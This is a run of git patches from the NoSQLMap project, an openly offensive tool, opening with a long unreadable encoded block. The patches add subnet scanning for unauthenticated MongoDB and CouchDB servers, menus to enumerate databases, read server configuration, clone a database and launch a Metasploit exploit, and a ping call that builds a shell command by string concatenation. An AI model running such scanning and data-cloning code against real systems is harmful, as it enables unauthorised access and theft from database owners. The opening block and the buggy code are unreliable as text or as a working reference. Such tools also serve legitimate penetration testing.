z;W-j~dN05orPEekm(S@$FhA};&Q3kxym$3?h!8!IVf>!#HGdzw?0HkmM!Z_l*4kO| zQ*$AG1v79XsL((UuEm#no=>)OGl@-mI(}6SPWT&!rCbxv)xv$olj===F~0msoSpSp zb9Af51^_Tr%i0Eqb2LhiWiVyLFY0XBUtqUGEbg*u7qr4qVpP_reV5(3+vO_8(Ch+V zQxg3J|DX~V5hd~GvxJ66LFzt8b2w5P0XRAGN&@~K>6Ow`5N z<2u*@o)s+XF3XF^rISq3$II*3Zi@MF(`pUKW+G~Ek4nrQZ-fC|EA*Dv?158!{TYN! zopa#ZqF?d)U0PKUKDsf3(ajl4E#zl>%Uu2!Ta>fkXiCS5=W*Ps9kJP1pv#msQ6=(v z(x+SYz6kqu6oir)#d$Oddoke_Tdx6(=6B>`>5Gi-27R=Ut zh(%TGH1|bQg+%fD@drQt#5Zh2e#n+BO-9CZwG*5fQtVGBf0x#cN-H zDw1;8@?=p^e}C^gn|LY{%=3}u-m&`%i#h71U|LiSne#7GVn4wn*lC&lmoZ<~xzS<@ z-HT*y;n~zip=MlmS=PImh}mGhEzUrAh~nFMnU>&}-9LtcUY1mt`1%pJ>|zpnMsyD= zp;`|Sgspa7uAQz$vdw!kYvWfN8 zmmR-U=7^(Q`<#a3VYg8^MBe{0+1Wl$Io;XFQiblJDkl~yg)HLo^nt2iwHsyMw9~F2 zXD?B$IUBYNk~-JvoU#Q`X0PM~iFnH<0PAv3-oy52JAvhDqV-Hkh%|-f2e6rt z87JaQm**uC9N;fbDb||&Mc-kE7v5fy>*dR;&CWcycJ_P4qy#)L7R69}!r&2>7VKJ0WZEh2<IV0;r}pQ zL#;RVM|AG?dqde4-#3SyLuXJw6<~I~N2k<(qJ8QFk4=53Ut$oA#!t=&P_8oT9;RB& z<^X!tbB!D2Al$@fbZ+7in&+)<5aXF{;r*yTi_|yULT_`XM5};Ny43myktdb@56E=|>3a#C5~g?9YV66>)F&2V+4z(n`CjR?;ZNa!7VmqY6d zxpxm}{sL-e^A;A<`C|27+VYj`h;(2&d?ygxWNM9nw_m2t<%bvhqfRfbAUZ}n*2fgZ4fjI-St zz1|E)gST}eh{XCf%C4p|Jt7o$ofy0%uh+?lsP3x5w9_t!MNY0GkymVBKKDN10NN2J z$7R+9|Bov;+-R9&cH_(O(;;_i1o6`2qW2ZbNF|7>pEDv|v?Iv676pP`XF1osL#to7 zpfg<^RMQW2#}c_59RBXuzH#YmiSr|sw~HK!V^i=P9OY$=cI+!LQbp#?TnSFk9DzJ$Hkhm@zN2uY`F>6n@6yb$f;{bt!4TPV%-T+?4a6MWv4v* z9`t6uT(mBRLer2GQfXs-C~n(r^GKerlS*yi74;ABA>JpIcksz6D?7U^?SqqGu2{>} z>-qNG^H4EYPczra+lxi^a@4-@1IYI_Blw=62xg)o8N>4z21|w>y?NT>Zkdi8wYM=3 zZs9wVF}Nme;S7{#v^(a^nCLF+>b*;GTp>Zmx117uDpXk5@kA`SO}oL?@UyE1Q(|^S zFoP?E4aVHjtEVbrrD!B{-p;P|$e(pkbuH@x?U{GBsSa7cyIbHN4a?fp5Sj=|kD#*# zQ2fzcccQ~oXHW|9i~0_i(E22UHdDdN$As@y5?;y6_}GCD15!WEw;kGMdX*3FWv&0@ zeEx!zZo;NbsaNX*d=fk(ki}%fV4pSqSD)>cuh}5Z-{^X|*G^$vXq?PLcjEX%PSv;NRT2g3Utq-7=3aWaFw>=X|>>jih4isX>YZ`;jwo@V#yG!^$HZ9vmH& zj@jMrb`?f~U#Nrrz-nBtFVibmC=^5phz#j|^ZSPWn>^TC);1b=8$}ZO{wjIrz~L|tz$?SAoxvzw z9NTtH>Fee+bH1J9(uL&mcM>zNK3_{yeVew@)G9;)CP9dHG5j{7xbm#a=24_ZW`#0I zqkmd4&`FW)TuQXrXX>x(<%qxzi3<$P=Zr*0^O$qLMvX*%y2%|Yr|NtgQ(Dt_Ly1~E zF5*g{02q0;kyMS6?)l$P6nOWG^t=ds_c_Em`Y6B5KFLmot<0JFalGkC#S=r_>KI9B zZ$O5*=i_ngA7_&*dtxGebv<3!a-Wz(M}Hp;j13(A8}^L+XQu~7-rywUsVKYJbxga( zEsv#F5RDf^oKHlwq>!_~odZDl$i^j2LRV=$HdF+2fa5amA4W{{e>W0AI1-OZRJXs< z3KXO!qz-7fw7yBprt>*E8R)A-xi+O2AkATpc-$PwxVLxngPztC&w zaMfIZ2#*>kFsK2xE9sa|U+z@?@T&P4+kgGMWyuprI;kD-wc)UMp>>^)=Zc|F_FJmD}OS2l%DG$@wd6#;bYShr|&WFu$SB?3+uz+b?+v3mVAWNqX`GEY;=RXmrVs~ zT0fr822P153C&n+C%Q|{DsiI3h4Q`n;QX5MRR{Ai1( z*N$59&cJA&pZfo4@4VxweE-LP>{UWWHrcYXLiQ%vBO}tWva*#?Cn6<@j3k7J?3Ju! zWQ5F0*()+CRHS^b!@CdXxKH)}?|1jO=^XB-*Xwn?)^*+Es6Nqo-IUgpu3TffX!a|= zqn`Qtr-Hi4%Y;W(^^V!Lznjll&r6I>AfCfBjca&A6aIi7+$S2ICDt`PDtB!K%lwTM zyFaI1Rbg2`b!jQvchO&JxLgulwEt{0XKi{iY_xt{ahxNXHow?pO5~*L~bI4Tz>KhcEhkg12o2JRc zZ+#j+D8`_As=-j)m+nKeN-dYL|G0HFxHT*Bd#NIp4fRz z{@9dRjWW(E45=j%Ri}()X`G%^jXC|jE_u(O2p^y3b9V8vs%A}aj%Ie%fp;aIs}7Fb+#;=ClI|$wk&d~DaZC=C zxq3=vbj~yK_RRU)_Dl%bo0QYBs$7?!E!hbDeqn*76x`98r~_&2cKKP<(JE+hRw9^cM21+ClH`PBj8b6ehY`_)to3le+wqO0?Q)|@ zstVoVrB`Ot?)U`VHVQq+@;r>{8@NmNhMSwj@esE|cq-Rz&ZrHUwAiE+JdA#6^I^$R zNwUWJnM4GFf@HMV{MVhE2CQM51>HEjW5FuY!KT#>no{b!pXcLa=Lef$ zWd|viQXib-=H?E9w}aYiF6|!;n~)%WtsiJtwp>^Ib}e%}>0#GclDvWf(eT82&=i}c zLl_hW%n7}vpf-_s-O^k z;x0HXZs$#$OLTU)Xw|J;X8+G1jXus=vu{)Z#o({M#AR8;>hAmuE<#o~ls1wQu4aTU zsSd$WjQ2p|=R)sZE^pvkVd8v&V(OQvqNaDmu#f ziq;5SEgW1*7(R>;yvGWY3w?542^$9ECV{~Yf_IQl8}PC@;|w?O@^^-N3i!D=Pa5mF z4GNJ3rIc=3uN~h{lm-vi#o`~#a5=#EvFf0-b$^lGI8~10W?;OQx_+NAob6QR@v-pb zz>%Rq-aet3-S<7wsZy~mTTqRyF8vd)G@N$dZr#Iw z?1&a?oFJl|nWvs5{3L@&q-`4iXRPV3J=bNarNN9cuHEj6~(|CJazn%CAPbB5H;iHwOdWY55YPQ(5PG*uKW%-wy z8}6V5mOl$RS>R8~o%L4h%;ApU=5_z&&+6+}yW3?(uEQbMJ&GuPzb% zIH3A1LUtqiO(T!T{4;ABxR;!Ki^pNRKo%aC7jJ@7+8*Fu0Mgz#SgbC-eAm4CgB6N3p2cxhRK~4W8qv_R7Nfx2D@JQfKRB)FI>fYcE(`&k~7F2e3aOqPi#W22f)15*(%Yei7DH*=T z{KiDJ)2l5r)Yg}L%uB6n;q#u)-BoBUUen`Wzc+BpJMci&O_#Qu2T$0)-_g_Aka-bW zZbg-K>5Bi;I*z&&(`CBiAz!5M%J- z3d3pP_F#?ZVOL8M`LD8_T94b8vcC9eE&g0Q0ETDp09H~o;Xeig7`STyeH`Jw{~N#? z`X^4Z3Gb^ZXbcVy2wQ^b zy|spX3FlmFCwud3S550SVy?1&t{U8wt22n{1G+@g={-3XT^JKNxn(>Al+kN;gOe*Bg zS^uCk@&>*7xOysm_|U;-c8?ph9k;8z2x*2d`G@iM^-qo}xwbaFb>^cOCTG8#LYT3l zUF)qkrn%58&B$=9_*hKxiq)$?V;!wx%dF>)x0Qp1HVm~pXt=!;+B0Vmvd0ci4tgmv zGbXTvFxZWhuSG0D4z2A6$J1tDSZP3cAcGNNoprO_8dX6XcXwnlV0nOx#hnTRga7~b zcF(B80~Ezt--k3aellhgP#CqZ~a?P*R#_6+IZKfQG0vCpjynHq~acnEK{T{M^trnwO z67^d{bdyR5g(JU!7-e?KC6iz9g+>|v98BXnX$(mD%G*7ga3-@tmRHlNbPs6 zvkl@X3A%58csfpq=;7gkw(QDKo~Y2$whSQy-)#E`(dngT3T}t&k}q8)#h*tNnUYM| zGzks73DlAoKbpKOAUb zEsTxfreRmf(R)R6F{C4EsZtYXbSloAgE^+mAJ(Tf8Pn_c*ArpBuTX>sZ*wDZN#L#2 z6?*ki;8`WHAea0y&e2#0?^fRMSEh8YhwLgeu1>fM%|>N0%e{We6fNaGHRZhZ9!IY3+K?jQCah-! zbO&w51XRX*(iIsPsaId0P?il*F&mDZDJx4MYCU@Qq!FLKdGM+-$;6;=RuwIHcAA^k znbf#r@gGNX$i-6yMPDV684S@&ClUIe%m1QIE_}Wu+Ty}pjEj0z`NM0e{f?ruN0nD?A@o*3+*{dk{p2TrHirl}7gP<*mkpsYj2) zDb3S#ZcG)a7_6%Y)(uw`^RsQx3@SNEhrN_kJhiY?kvnwdRNhzoUqLl_{e8>KN3_;- zEV?qjnk^R&Ir26RJhB;VFPT0g>zXXy^<)3)(1#0>n>m);H{lnwyQxzi#-#N)vx>Si zTxSuz8%60NmDoX*dihn8k%427?aQ_BSG~Ok^vjkm$@$+^4>$^VhqsFxunZt@T&~cb zc*2=l+d%r5?qTP8`RGHd35eqhIqrk{?CSu-x`WO z`K|lg%|(TjdByXVCF}r50-@{Dr0Vu7X&n7qWhnDf40-2Tn@g>A<3Q4 zmioEc^d6y*%j!in-Y;^JLl!q>uF}$)`_Z1q{h@H}tj7BwHI?yRdom(YBlb7OO@qsE zPkc^b`&f?}jTfs=_VvOGl_GR4CKO%5s_6J4cu&bb-#~Q{T>3s+m|^KOs6KHq ztdGUSPo+_o$Me?-rneGlGYB7%^w&nw^p$OqsXCXtE@|JS4A3%F)h4pV<&APNV(ol! zE?M4op;WZCL$OH4D(bfQ`$KRK$Ntw3x@O-umD{f!yEttkSBs^Yw{cwgHeXQ!Pm@sd z`wT4$j|KY{mPhZJ`Ey~l%u&V3Jr}KI9v@fTSL>(bWvqH=T>`5zjolqwu$@e=mavh6 zkZ3z^BG5S+Qnyj-TU^42)z@x2dfy3g&+xojxK_dn?ucJrLoee*sCb9z;%d+F(S}8j zdKs9Z@a0o@r${nYCo;~>5EFMfZogaiwZ3{mnmTbDjZ}yQ8b~P@o z#E6}I?^*YerTeB;gTF7kKb706WUjyAS)Hae_VhCs$Y%_Nat;S`_P8-TYn=8?$3B=u z-v9c@AyQllrRq)w%{=R?YyoUenUg$E9F8Uh;>IBEL^Y<0y;Ngw5nklrno8=iv$WyP zTn#Q}vVR_V=}h0owE=y>?(e29_)8uMw0_pftllq+5A=Gdj1N*98C+JC)VMF9 z08yupuMu&vX=)tbX7Mgdu>Pr3-9t(FFZ{T&`-G?}4Zq-lv6 zWQ4ul>C{kW{2kDs41#Gb`R*3R*3AR{|9hC7zAfOkp4&SX%Fq$6RXLVnMs14|JRTNh zL+geo&6AvZhskPB=nAtu$&U$^bLMi*IdO4v*i(*lM&D}5Txpm^d13zU7Zn{M(236jp? zGQzaTO@>3#_HD)!^;r^(3-?Rt#l-AaW#`P^eEa!8P?f$_&c1FgEbH^5#BwELVh1B} z%~Vw!BmUC{2^l^!EYkSX}~C2ctG zC1skN7Xqq6cJue08dPuGFwL5(ad2=wKy_@c#U<!MN^`tfy~Kv*r#qufOZDSnYpjWnUNJ@fO7Tma z%DpjzQ)GIr-E*8sH}a<3ujaX(nHCl{KX~xt?**CwiGr`0z>{wRXGbp3pl;?$ZlD&r zdYv}(cZYjgBE4Hz3l)$)kKo)7!eJahz#`ACZ5S5@JM95?_7oIAenmepbnV`aH{jPh z!NDxM4uioMz~lf~i9MYi&%!+gw;5Y6B#{z8(jMHa-2WDmCPIXXb_^rUmdxNHl7?Jh zU`3Hl13VNHS~g)JjJSYc!bE7C4KNu7oG?aQo-U#fT37#lm~avpXUi z4wcqQhKYt*wzxJp2Q+OIEIUEVb`+zgPR3uukl|3fN7HW4NAm;xOB8(Ejce zv~=<}}=&o3@oq_724hMvOSjH3GBWjWA)vVNRTwaYLY( zLdTde<{)Fr6Q@Sn?%AG^eaC_khdB{5yI-6cM4~`0LN>BH+cNNKq;%VL6}d7FD!h%C zqnj(n1i%qD-53Mr$r1pDd}#E}M!~TSL&u<3`%^hH-u{5l0%{5f@?G0&F!A1HtgSjP zvgNVpj7Apw*$u!@1Vs~-5dt1hjm{9>3UPD>&!vNqN+R0x8x z!01wJw=C$4(<{RF5kQQLJ(wu=e6E_u}NDe8b6E}&|l>Qdkb!GH|6ByM7-W*~<;Xt7Zl4+0?=knuMB zel-0Au&E7bBv2XmE<-RN15SaBC8!I?VGpJ?s0_w12nJ-tNssW{TnCJ?J-V=5-^&nz z^wWs2TVIa?oAv`aP(w~93W9+wE$G9NlpN7y2*gMP;ev`NjoFKU^sxT!+n;Me0!Gdc zKn>WnNyqO(XxsR^d3&KuCAZ(g+y+JyDntzc9drfu z>vB6HbgduokW))ku1(_KxtJTn`I%HdXl~HmzjHD7ujMXhNulkKl=OEl=FZc6CS(>V z?_T>>-upWja~oxNq)rH$JCOW$F6QRZQ|E3Gv>lf3|DB7u$HnzWT>8yDg5qc7sekAG zY0&|Z<^XL7p|rn)F}JHmbrJTuviMoko_GyVmQ zIY2Oz?KA&{j5(w+lieQv3mJ3pVJ7=#{RXEG5f)dXOI?=-@$s)RJ7w&hm*p)f9GaGu#klPw3;Q~6S zTVQp96@@2S`DY$vBNW>w7drr!jVQp1Gb(NrbQS+=`XR)F?9F%>91dpz+%qr@LB*}s z{}~6_E_z;@xx5HkEP61vLdCsn{4)-+gJqfwI#>Y4;u266bwz-%Z5y}aAfAFd|A%b< zT4%A8iy&bu9e;vB&NZ$cc~;E!(ojnEbJ_&sD9}U$>;@18|gG?tj9VwE( zMMH(jY0>Iz5 zHdfd~J;M0SCm0O5Q|%H5EaXvc<6Pip9c=_1U2N>(!U9h2aC`JRidm--JnStK?b2zN z5IZN1OS?>ItH2*;2e}b7FUIcMChSrJr2~P^i#zJ+KG|;(a}@?d?x^-o+`moUrQT8G z=M`>iw?jx8nhxw#0H<)k4o(5>+N@%+VgI}4)XTx!<&3M1qw_8k?LcItEn!KvSX(=) zm2E)FfK2?m#1Mf*WPY7itFni|kURA*DPS-`DO_{}2-%&H+7Tmh-Eg5p39Q3`9aRjb z2YVRDAQ5MreLmXi!C=T84Kck30rHTO`yPu<*)$y6R{?_|cT_~F1RlC35|C1alk?LS zs={E%9Tl;>xCbE$iBN4cqId%;5OPOF42a>QOCbq~uzEjcX Date: Sun, 17 Aug 2014 14:47:21 -0500 Subject: [PATCH 077/207] Merge branch '0.4' Conflicts: nosqlmap.py --- nosqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index 6cc883f..f8bd408 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -71,7 +71,7 @@ def mainMenu(): print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |" print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/" print "====================================================" - print "NoSQLMap-v0.4a-DEV" + print "NoSQLMap-v0.4a" print "nosqlmap@gmail.com" print "\n" print "1-Set options" From 22fafe52e947cacc6361cc6ec2b2a6bc42445de5 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sun, 17 Aug 2014 14:50:14 -0500 Subject: [PATCH 078/207] Remove Git Markup --- nosqlmap.py | 5 ----- 1 file changed, 5 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index a69b75b..0c93bab 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1997,10 +1997,5 @@ def signal_handler(signal, frame): print "CTRL+C detected. Exiting." sys.exit() -<<<<<<< HEAD -signal.signal(signal.SIGINT, signal_handler) -mainMenu() -======= if __name__ == '__main__': main() ->>>>>>> 0.4 From a6ee427bf4fbd8bd20b78e39102096d21720a395 Mon Sep 17 00:00:00 2001 From: tcstool Date: Tue, 26 Aug 2014 23:01:55 -0500 Subject: [PATCH 079/207] Version change --- nosqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index 0c93bab..0210f76 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -71,7 +71,7 @@ def mainMenu(): print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |" print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/" print "====================================================" - print "NoSQLMap-v0.4a" + print "NoSQLMap-v0.5-DEV" print "nosqlmap@gmail.com" print "\n" print "1-Set options" From d87c1db6f78903415c8a38d5cf756e000b6535db Mon Sep 17 00:00:00 2001 From: tcstool Date: Tue, 26 Aug 2014 23:08:36 -0500 Subject: [PATCH 080/207] Fixed broken HTTPS toggle --- nosqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index 0210f76..057b110 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -226,7 +226,7 @@ def options(): https = "ON" optionSet[8] = True - elif verb == "ON": + elif https == "ON": print "HTTPS disabled." https = "OFF" optionSet[8] = True From 4b33bf2200247a279d1b9c208d7c8ba6b084bb0e Mon Sep 17 00:00:00 2001 From: tcstool Date: Sat, 30 Aug 2014 13:54:15 -0500 Subject: [PATCH 081/207] CouchDB modules (scan not working) --- __init__.py | 0 nosqlmap.py | 56 +++++++++++++++++++++++++++++++++++++++++------------ nsmcouch.py | 52 +++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 96 insertions(+), 12 deletions(-) create mode 100644 __init__.py create mode 100644 nsmcouch.py diff --git a/__init__.py b/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/nosqlmap.py b/nosqlmap.py index 057b110..5b8c4a2 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -15,6 +15,7 @@ import sys +import nsmcouch import string import random import os @@ -49,12 +50,14 @@ def main(): global webPort global uri global httpMethod + global platform global https global myIP global myPort global verb global scanNeedCreds global dbPort + platform = "MongoDB" dbPort = 27017 mainMenu() @@ -77,7 +80,8 @@ def mainMenu(): print "1-Set options" print "2-NoSQL DB Access Attacks" print "3-NoSQL Web App attacks" - print "4-Scan for Anonymous MongoDB Access" + print "4-Scan for Anonymous " + platform + " Access" + print "5-Change Platform (Current: " + platform + ")" print "x-Exit" select = raw_input("Select an option: ") @@ -108,14 +112,36 @@ def mainMenu(): elif select == "4": - massMongo() + massScan() + + elif select == "5": + platSel() elif select == "x": sys.exit() else: raw_input("Invalid selection. Press enter to continue.") - + +def platSel(): + global platform + pSel = True + print "\n" + while pSel: + print "1-MongoDB" + print "2-CouchDB" + pSel = raw_input("Select a platform: ") + + if pSel == "1": + platform = "MongoDB" + return + + elif pSel == "2": + platform = "CouchDB" + return + else: + psel = True + raw_input("Invalid selection. Press enter to continue.") def options(): global victim @@ -1555,8 +1581,9 @@ def accessCheck(ip,port,pingIt): return [3,None] -def massMongo(): +def massScan(): global victim + global platform optCheck = True loadCheck = False ping = False @@ -1566,9 +1593,9 @@ def massMongo(): commError = [] ipList = [] print "\n" - print "MongoDB Default Access Scanner" + print platform + " Default Access Scanner" print "==============================" - print "1-Scan a subnet for default MongoDB access" + print "1-Scan a subnet for default " + platform + " access" print "2-Loads IPs to scan from a file" print "3-Enable/disable host pings before attempting connection" print "x-Return to main menu" @@ -1614,19 +1641,24 @@ def massMongo(): print "\n" for target in ipList: - result = accessCheck(target.rstrip(),27017,ping) + + if platform == "MongoDB": + result = accessCheck(target.rstrip(),27017,ping) + + elif platform == "CouchDB": + result = nsmcouch.couchScan(target.rstrip,5984,ping) if result[0] == 0: - print "Successful default access on " + target.rstrip() + "(Mongo Version: " + result[1] + ")." + print "Successful default access on " + target.rstrip() + "(" + platform + " Version: " + result[1] + ")." success.append(target.rstrip()) versions.append(result[1]) elif result[0] == 1: - print "MongoDB running but credentials required on " + target.rstrip() + "." + print platform + " running but credentials required on " + target.rstrip() + "." creds.append(target.rstrip()) #Future use elif result[0] == 2: - print "Successful MongoDB connection to " + target.rstrip() + " but error executing command." + print "Successful " + platform + " connection to " + target.rstrip() + " but error executing command." commError.append(target.rstrip()) #Future use elif result[0] == 3: @@ -1646,7 +1678,7 @@ def massMongo(): outCounter = 0 try: fo = open(savePath, "wb") - fo.write("IP Address,MongoDB Version\n") + fo.write("IP Address," + platform + " Version\n") for server in success: fo.write(server + "," + versions[outCounter] + "\n" ) outCounter += 1 @@ -1662,7 +1694,7 @@ def massMongo(): else: select = True - print "Discovered MongoDB Servers with No Auth:" + print "Discovered " + platform + " Servers with No Auth:" print "IP" + " " + "Version" outCounter= 1 diff --git a/nsmcouch.py b/nsmcouch.py new file mode 100644 index 0000000..1288a04 --- /dev/null +++ b/nsmcouch.py @@ -0,0 +1,52 @@ +#!/usr/bin/python + +import couchdb + + +def couchScan(target,port,pingIt): + if pingIt == True: + test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null") + + if test == 0: + try: + conn = couchdb.Server("http://" + str(target) + ":5984/") + + try: + dbVer = conn.version() + return [0,dbVer] + + except couchdb.http.Unauthorized: + return [1,None] + + except Exception, e: + print e + return [2,None] + + except Exception, e: + print e + return [3,None] + + else: + return [4,None] + + else: + try: + conn = couchdb.Server("http://" + str(target) + ":5984/") + print target #debug + + + try: + print str(conn) #debug + dbVer = conn.version() + return [0,dbVer] + + except couchdb.http.Unauthorized: + return [1,None] + + except Exception, e: + print e + return [2,None] + + except Exception, e: + print e + return [3,None] \ No newline at end of file From e86807e3a970715c37749416fbc2058dbfe7488e Mon Sep 17 00:00:00 2001 From: tcstool Date: Sat, 30 Aug 2014 17:00:38 -0500 Subject: [PATCH 082/207] Finish CouchDB Scanner and NetAttacks start --- nosqlmap.py | 2 +- nsmcouch.py | 129 ++++++++++++++++++++++++++++++++++++++++++++++------ nsmmongo.py | 128 +++++++++++++++++++++++++++++++++++++++++++++++++++ setup.sh | 14 ++++++ 4 files changed, 259 insertions(+), 14 deletions(-) create mode 100644 nsmmongo.py diff --git a/nosqlmap.py b/nosqlmap.py index 5b8c4a2..e8bfb35 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1646,7 +1646,7 @@ def massScan(): result = accessCheck(target.rstrip(),27017,ping) elif platform == "CouchDB": - result = nsmcouch.couchScan(target.rstrip,5984,ping) + result = nsmcouch.couchScan(target.rstrip(),5984,ping) if result[0] == 0: print "Successful default access on " + target.rstrip() + "(" + platform + " Version: " + result[1] + ")." diff --git a/nsmcouch.py b/nsmcouch.py index 1288a04..064b0cf 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -1,6 +1,22 @@ #!/usr/bin/python +#NoSQLMap Copyright 2014 Russell Butturini +#This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +#the Free Software Foundation, either version 3 of the License, or +#(at your option) any later version. + +#This program is distributed in the hope that it will be useful, +#but WITHOUT ANY WARRANTY; without even the implied warranty of +#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +#GNU General Public License for more details. + +#You should have received a copy of the GNU General Public License +#along with this program. If not, see . + + import couchdb +import urllib def couchScan(target,port,pingIt): @@ -9,7 +25,7 @@ def couchScan(target,port,pingIt): if test == 0: try: - conn = couchdb.Server("http://" + str(target) + ":5984/") + conn = couchdb.Server("http://" + str(target) + ":5984/", timeout=4000) try: dbVer = conn.version() @@ -18,12 +34,10 @@ def couchScan(target,port,pingIt): except couchdb.http.Unauthorized: return [1,None] - except Exception, e: - print e + except: return [2,None] - except Exception, e: - print e + except: return [3,None] else: @@ -32,21 +46,110 @@ def couchScan(target,port,pingIt): else: try: conn = couchdb.Server("http://" + str(target) + ":5984/") - print target #debug - try: - print str(conn) #debug dbVer = conn.version() return [0,dbVer] except couchdb.http.Unauthorized: return [1,None] - except Exception, e: - print e + except: return [2,None] - except Exception, e: - print e - return [3,None] \ No newline at end of file + except: + return [3,None] + + +def netAttacks(target,port): + print "DB Access attacks (CouchDB)" + print "======================" + mgtOpen = False + webOpen = False + mgtSelect = True + #This is a global for future use with other modules; may change + dbList = [] + + print "Checking to see if credentials are needed..." + needCreds = couchScan(target,port,False) + + if needCreds[0] == 0: + conn = couchdb.Server("http://" + str(target) + ":5984/") + print "Successful access with no credentials!" + mgtOpen = True + + elif needCreds[0] == 1: + print "Login required!" + srvUser = raw_input("Enter server username: ") + srvPass = raw_input("Enter server password: ") + uri = "http://" + srvUser + ":" + srvPass + "@" + target + ":5984/" + + try: + conn = couchdb.server(uri) + print "CouchDB authenticated on " + target + ":5984!" + mgtOpen = True + + except: + raw_input("Failed to authenticate. Press enter to continue...") + return + + elif needCreds[0] == 2: + couchdb.Server("http://" + str(target) + ":5984/") + print "Access check failure. Testing will continue but will be unreliable." + mgtOpen = True + + elif needCreds[0] == 3: + print "Couldn't connect to CouchDB server." + return + + + mgtUrl = "http://" + target + ":5984/_utils" + #Future rev: Add web management interface parsing + try: + mgtRespCode = urllib.urlopen(mgtUrl).getcode() + if mgtRespCode == 200: + print "Sofa web management open at " + mgtUrl + ". No authentication required!" + + except: + print "MongoDB web management closed or requires authentication." + + if mgtOpen == True: + while mgtSelect: + print "\n" + print "1-Get Server Version and Platform" + print "2-Enumerate Databases/Collections/Users" + print "3-Check for Attachments" + print "4-Clone a Database" + print "5-Return to Main Menu" + attack = raw_input("Select an attack: ") + + if attack == "1": + print "\n" + getPlatInfo(conn) + + if attack == "2": + print "\n" + enumDbs(conn) + + if attack == "3": + print "\n" + enumGrid(conn) + + if attack == "4": + if optionSet[4] == False: + print "Target database not set!" + + else: + print "\n" + stealDBs(myIP,conn) + + if attack == "6": + return + +def getPlatInfo(couchConn): + print "Server Info:" + print "CouchDB Version: " + couchConn.version() + print "Configuration File:\n" + print str(urllib.urlopen("http://" + target + ":5984/_config")) + print "\n" + return \ No newline at end of file diff --git a/nsmmongo.py b/nsmmongo.py new file mode 100644 index 0000000..f012ad0 --- /dev/null +++ b/nsmmongo.py @@ -0,0 +1,128 @@ +#!/usr/bin/python +#NoSQLMap Copyright 2014 Russell Butturini +#This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +#the Free Software Foundation, either version 3 of the License, or +#(at your option) any later version. + +#This program is distributed in the hope that it will be useful, +#but WITHOUT ANY WARRANTY; without even the implied warranty of +#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +#GNU General Public License for more details. + +#You should have received a copy of the GNU General Public License +#along with this program. If not, see . +import pymongo +import urllib + +def netAttacks(target, port): + print "DB Access attacks (MongoDB)" + print "=================" + mgtOpen = False + webOpen = False + mgtSelect = True + #This is a global for future use with other modules; may change + global dbList + global dbPort + dbList = [] + + print "Checking to see if credentials are needed..." + needCreds = accessCheck(target,dbPort,False) + + if needCreds[0] == 0: + conn = pymongo.MongoClient(target,dbPort) + print "Successful access with no credentials!" + mgtOpen = True + + elif needCreds[0] == 1: + print "Login required!" + srvUser = raw_input("Enter server username: ") + srvPass = raw_input("Enter server password: ") + uri = "mongodb://" + srvUser + ":" + srvPass + "@" + target +"/" + + try: + conn = pymongo.MongoClient(target) + print "MongoDB authenticated on " + target + ":27017!" + mgtOpen = True + except: + raw_input("Failed to authenticate. Press enter to continue...") + return + + elif needCreds[0] == 2: + conn = pymongo.MongoClient(target,dbPort) + print "Access check failure. Testing will continue but will be unreliable." + mgtOpen = True + + elif needCreds[0] == 3: + print "Couldn't connect to Mongo server." + return + + + mgtUrl = "http://" + target + ":28017" + #Future rev: Add web management interface parsing + + try: + mgtRespCode = urllib.urlopen(mgtUrl).getcode() + if mgtRespCode == 200: + print "MongoDB web management open at " + mgtUrl + ". No authentication required!" + testRest = raw_input("Start tests for REST Interface (y/n)? ") + + if testRest in yes_tag: + restUrl = mgtUrl + "/listDatabases?text=1" + restResp = urllib.urlopen(restUrl).read() + restOn = restResp.find('REST is not enabled.') + + if restOn == -1: + print "REST interface enabled!" + dbs = json.loads(restResp) + menuItem = 1 + print "List of databases from REST API:" + + for x in range(0,len(dbs['databases'])): + dbTemp= dbs['databases'][x]['name'] + print str(menuItem) + "-" + dbTemp + menuItem += 1 + else: + print "REST interface not enabled." + print "\n" + + except: + print "MongoDB web management closed or requires authentication." + + if mgtOpen == True: + + while mgtSelect: + print "\n" + print "1-Get Server Version and Platform" + print "2-Enumerate Databases/Collections/Users" + print "3-Check for GridFS" + print "4-Clone a Database" + print "5-Launch Metasploit Exploit for Mongo < 2.2.4" + print "6-Return to Main Menu" + attack = raw_input("Select an attack: ") + + if attack == "1": + print "\n" + getPlatInfo(conn) + + if attack == "2": + print "\n" + enumDbs(conn) + + if attack == "3": + print "\n" + enumGrid(conn) + + if attack == "4": + if optionSet[4] == False: + print "Target database not set!" + else: + print "\n" + stealDBs(myIP,conn) + + if attack == "5": + print "\n" + msfLaunch() + + if attack == "6": + return diff --git a/setup.sh b/setup.sh index 3a0e3a0..5d9e41b 100755 --- a/setup.sh +++ b/setup.sh @@ -1,4 +1,18 @@ #!/bin/bash +#NoSQLMap Copyright 2014 Russell Butturini +#This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +#the Free Software Foundation, either version 3 of the License, or +#(at your option) any later version. + +#This program is distributed in the hope that it will be useful, +#but WITHOUT ANY WARRANTY; without even the implied warranty of +#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 